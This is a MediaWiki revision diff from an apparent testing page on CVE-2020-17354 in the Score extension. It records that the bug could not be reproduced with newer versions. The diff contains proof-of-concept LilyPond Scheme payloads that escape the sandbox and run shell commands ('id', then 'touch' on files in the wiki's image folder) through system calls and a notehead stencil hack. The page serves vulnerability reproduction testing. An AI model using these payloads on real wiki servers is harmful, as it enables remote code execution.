Tim paste: Difference between revisions

Latest revision as of 11:15, 21 January 2023

Unable to obtain LilyPond version:

/bin/bash: line 1: /usr/local/bin/lilypond: No such file or directory

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

See T259210; unable to reproduce with LilyPond 2.23.82, MediaWiki REL1_39, Score on master.

1. PoC from task:

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

2. Again, using raw=1:

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

3. Notehead stencil hack PoC, contributed in comment from LilyPond developer Han-wen Nienhuys:

Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.

@@ Line 57: / Line 57: @@
 == CVE-2020-17354 ==
-See [https://phabricator.wikimedia.org/T259210 T259210]
+See [https://phabricator.wikimedia.org/T259210 T259210]; unable to reproduce with LilyPond 2.23.82, MediaWiki REL1_39, Score on master.
 . PoC from task:<score>
@@ Line 69: / Line 69: @@
    (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
    (display "With output-def-lookup\n")
-   ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
+   ((ly:output-def-lookup #{ \midi {} #} 'system) "touch /var/www/mediawiki-test/images/lilypond/test-1")
 )
 </score>
 . Again, using raw=1:<score raw=1>
-{
+\header { tagline = ##f } {
    \relative { c' }
 }
@@ Line 83: / Line 83: @@
    (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
    (display "With output-def-lookup\n")
-   ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
+   ((ly:output-def-lookup #{ \midi {} #} 'system) "touch /var/www/mediawiki-test/images/lilypond/test-2")
 )
 </score>
@@ Line 94: / Line 94: @@
    #(lambda (grob)
      ((cdr (assoc 'text
-	   (cadr (ly:grob-alist-chain grob '())))) "id")
+	   (cadr (ly:grob-alist-chain grob '())))) "touch /var/www/mediawiki-test/images/lilypond/test-3")
      #f)
    c4